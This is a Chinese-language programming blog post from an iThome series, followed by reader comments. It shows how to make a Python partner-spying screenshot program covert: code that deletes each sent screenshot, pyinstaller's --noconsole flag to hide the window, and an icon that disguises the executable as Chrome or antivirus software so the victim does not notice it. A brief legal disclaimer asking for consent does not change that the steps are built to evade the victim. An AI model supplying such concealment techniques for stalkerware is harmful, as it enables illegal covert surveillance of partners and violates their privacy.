iT邦幫忙

2021 iThome 鐵人賽

DAY 7
11
Software Development

奇怪的知識增加了!原來程式還可以這樣用?!系列 第 7

[Day7] 抓姦神器PRO! 如何毀屍滅跡看這篇!

《刑法》第315之1條:「無故利用『工具』或『設備』窺視、竊聽」或無故以『錄音』、『照相』、『錄影』或『電磁紀錄』竊錄」他人非公開之活動、言論、談話或身體隱私部位者,處3年以下有期徒刑、拘役或30萬元以下罰金」

再次呼籲大家在做這件事之前要先告知另外一半,並且得到對方同意才可以做喔!


上上篇我們提到了用Python製作捉姦程式,但是昨天的程式其實是最簡版本,
會有以下盲點:

  1. 每五秒截一次圖,照片塞爆電腦硬碟
  2. 執行程式會跳出CMD視窗,不小心關掉程式就停止
  3. 看工作管理員就會發現奇怪名稱的背景程式

使用環境

問題破解

Step1. 毀屍 - 自動刪除截圖檔案程式碼

fileTest = "screenshot-"+ str(i-1) +".png" # 因為照片在傳出去的時候會鎖死刪不掉,所以要刪前一個檔案
try: # 防止找不到檔案導致程式停止
    os.remove(fileTest) # 刪除截圖的圖片檔案
except OSError as e:
    print(e) # 印出錯誤訊息

在程式裡面加上這段,就可以讓剛剛產生的截圖的照片刪除囉~
偷窺的同時又幫對方大掃除,有夠貼心!

Step2. 滅跡 - 將.py檔打包成exe時加上隱藏cmd視窗命令

pyinstaller -F 檔名.py --noconsole

大家要記得打完程式一定要將程式打包成執行檔!
不然要怎麼把程式放在工作排程器設定開機執行呢?
加上--noconsole之後程式就會在背景執行,不會顯示黑黑的執行視窗喔!

Step3. 偽裝 - 更改執行檔logo、執行檔名

這邊要先準備你想偽裝的應用程式logo圖檔,然後用上面的轉檔神器轉成ico檔,
我選的是chrome,但這邊建議大家用防毒軟體的logo會比較像~

pyinstaller -F 程式檔名.py -i LOGO檔名.ico

下這個指令可以讓你的執行檔logo變成你指定的圖案,
加上第二步的 --noconsole 就可以變成完美的監控程式了!
https://ithelp.ithome.com.tw/upload/images/20210904/20133286eC7vbHTCl6.png

大家來找碴! 有沒有覺得哪裡怪怪的呢?

我沒有厲害到可以讓執行檔從工作管理員完全變不見,
所以只能使出障眼法,製造以假亂真的效果。
不過至少它會在背後默默地執行,不會輕易被發現就是了><


上一篇
[Day6] 捉姦第二步! 把證據傳到LINE裡! Line Notify Token申請教學
下一篇
[Day8] 從入門到入獄! 用Python竊聽電腦鍵盤事件!
系列文
奇怪的知識增加了!原來程式還可以這樣用?!30
1
dscwferp
iT邦高手 1 級 ‧ 2021-09-07 12:17:59

先給您 拍拍手 放煙火! GOOD!

您的Google Chrome.exe 佔 15.5% CPU
比原廠高很多!
哇!

1
Homura
iT邦高手 1 級 ‧ 2021-09-07 13:18:38

再次呼籲大家在做這件事之前要先告知另外一半,並且得到對方同意才可以做喔!

同意的是M嗎?/images/emoticon/emoticon04.gif
話說這樣截圖不如直接監聽所有網路的訊息XD

lulu_meat iT邦新手 3 級 ‧ 2021-09-07 14:36:22 檢舉

不好意思 我只會雕蟲小技 高深的學問我真的不會
/images/emoticon/emoticon02.gif

2
Marvin
iT邦新手 4 級 ‧ 2021-09-07 14:30:51

這真的太邪惡了,希望用這招的人保持一個良善的心

https://ithelp.ithome.com.tw/upload/images/20210907/20140622GswzFQGBpi.png

lulu_meat iT邦新手 3 級 ‧ 2021-09-07 14:39:31 檢舉

我相信人性本善!
/images/emoticon/emoticon41.gif

Marvin iT邦新手 4 級 ‧ 2021-09-07 14:50:40 檢舉

我突然有一些「大膽的」想法

2
Pulin
iT邦新手 5 級 ‧ 2021-09-07 15:14:13

來繼續朝聖了
毀屍滅跡太神la/images/emoticon/emoticon37.gif

lulu_meat iT邦新手 3 級 ‧ 2021-09-07 22:22:10 檢舉

太感謝您了XD

1
gash5502
iT邦新手 5 級 ‧ 2021-09-07 19:26:49

笑死666666

1
jiatool
iT邦新手 4 級 ‧ 2021-09-08 08:38:38

讓我期待隔天的文章了~XD

lulu_meat iT邦新手 3 級 ‧ 2021-09-08 08:57:27 檢舉

今天的文章也特別可怕喔

jiatool iT邦新手 4 級 ‧ 2021-09-08 09:32:29 檢舉

嘿嘿嘿
過完 30 天,變得更邪惡了呢

1
copemoe
iT邦新手 4 級 ‧ 2021-09-08 10:04:21

很期待明天的文章/images/emoticon/emoticon25.gif

lulu_meat iT邦新手 3 級 ‧ 2021-09-08 11:04:31 檢舉

今天的還沒發喔~

1
obarisk
iT邦新手 4 級 ‧ 2021-09-08 10:39:32

Pyinstall 有沒有辦法做成 service ?

lulu_meat iT邦新手 3 級 ‧ 2021-09-08 11:04:10 檢舉

我沒試過耶 但是好像無法 一定會有.exe 豆頁痛
/images/emoticon/emoticon20.gif

1
AndyChiang
iT邦新手 5 級 ‧ 2021-09-10 11:27:25

可以教一下怎麼設定開機執行嗎XDD

lulu_meat iT邦新手 3 級 ‧ 2021-09-10 11:47:04 檢舉

太棒了! 我們真是心有靈犀! 等等就會發了喔!

我要留言

立即登入留言